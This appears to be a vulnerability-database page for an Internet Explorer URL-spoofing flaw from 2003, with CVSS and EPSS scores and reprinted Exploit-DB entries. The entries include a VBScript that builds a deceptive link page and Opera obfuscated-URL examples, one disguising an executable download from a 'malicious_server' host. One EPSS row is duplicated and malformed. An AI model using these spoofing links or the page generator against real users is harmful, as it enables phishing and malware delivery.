CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Internet Explorer 5.01 through 6 SP1 allows remote attackers to spoof the domain of a URL via a "%01" character before an @ sign in the user@domain portion of the URL, which hides the rest of the URL, including the real site, in the address bar, aka the "Improper URL Canonicalization Vulnerability."
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.3
AV:N/AC:M/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
44.55%
–
–
2023-03-12
–
–
–
97.37%
–
2024-01-21
–
–
–
97.39%
–
2024-06-02
–
–
–
97.39%
–
2024-06-16
–
–
–
97.36%
–
2024-11-03
–
–
–
97.35%
–
2024-12-22
–
–
–
96.78%
–
2025-01-19
–
–
–
96.78%
–
2025-03-18
–
–
–
–
67.17%
2025-03-18
–
–
–
–
67.17,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2003-12-08 23h00 +00:00 Author : Guy Crumpley EDB Verified : Yes
source: https://www.securityfocus.com/bid/9182/info
A weakness has been reported in multiple browsers that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI designed to pass access a specific location with a supplied username, contains a hexadecimal 1 value prior to the @ symbol.
An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.
On Error Resume Next
PromtStart = "Do you want to create a web page to exploit Internet Explorer 5.01, 5.5 and 6.0 on Windows" _
& " platforms?" & vbcrlf & "(URL Obfuscation - https://www.securityfocus.com/bid/9182)"
Ok2Run = MsgBox (PromtStart,vbyesno + vbquestion,"URL Obfuscation Web Page Creator")
If Ok2Run = vbyes Then
Do While strFileName = ""
strFileName = InputBox ("Enter the name of the web page file you want to create","File Name","TEST.HTML")
Loop
Do While strSpoofSite = ""
strSpoofSite = InputBox ("Enter the name of the site you want users to THINK they're going to:","Spoof Site","atkins.com")
Loop
Do While strRealSite = ""
strRealSite = InputBox ("Enter the name of the site users WILL go to when they click on the link:","Real Site","www.mcdonalds.com")
Loop
Do While strLinkText = ""
strLinkText = InputBox ("Enter the text you want to appear in the link:","Link Text","Go to the Atkins Site")
Loop
Err.Clear
CreateExploitPage strFileName, strSpoofSite, strRealSite, strLinkText
If Err.Number = 0 then
MsgBox "Your exploit page has been saved to C:\" & strFileName & ".",vbokonly + vbinformation, "Script Complete"
Else
MsgBox "An error occured (" & Err.Description & ")saving your exploit page to C:\" & strFileName & ".",vbokonly + vbcritical, "Script Error"
Err.Clear
End if
Else
MsgBox "Script canceled.",vbokonly + vbcritical,"URL Obfuscation Web Page Creator"
End If
Sub CreateExploitPage(strFileName, strSpoofSite, strRealSite, strLinkText)
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("c:\" & strFileName, True)
a.WriteLine("<HTML>")
a.WriteLine("<TITLE>Exploit Page for BID 9182 (https://www.securityfocus.com/bid/9182)</TITLE>")
a.WriteLine("<BODY>")
strExploitLine = "<A HREF=" & Chr(34) & "http://" & strSpoofSite & Chr(1) & "%00@" & strRealSite
strExploitLine = strExploitLine & Chr(34) & ">" & strLinkText & "</A>"
a.WriteLine(strExploitLine)
a.WriteLine("</BODY>")
a.WriteLine("</HTML>")
a.Close
End Sub
Publication date : 2003-12-08 23h00 +00:00 Author : Zap The Dingbat EDB Verified : Yes
source: https://www.securityfocus.com/bid/9182/info
A weakness has been reported in multiple browsers that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI designed to pass access a specific location with a supplied username, contains a hexadecimal 1 value prior to the @ symbol.
An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23423.zip
source: https://www.securityfocus.com/bid/9281/info
A weakness has been reported in Opera that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI that is designed to access a specific location with a supplied username, contains a specially crafted sequence of characters. These characters will be interpreted as a NULL due to UTF-8 encoding. This sequence may be placed as part of the username value prior to the @ symbol in the malicious URI to aid in obfuscating the URI for a visited page.
An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.
http://www.example.com%C0%AFfake_path%C0%AFfake_filename%C0%AEhtml%C0%80@www.example.com/
http://www.example.com/fake_path/fake_filename.html
ftp://ftp.example.com%C0%AFpub%C0%AFopera%C0%AFwin%C0%AF723%C0%AFen%C0%AFstd%C0%AFow32enen723%C0%AEexe%C0%80:password@malicious_server/ow32enen723.exe
ftp://ftp.example.com/pub/opera/win/723/en/std/ow32enen723.exe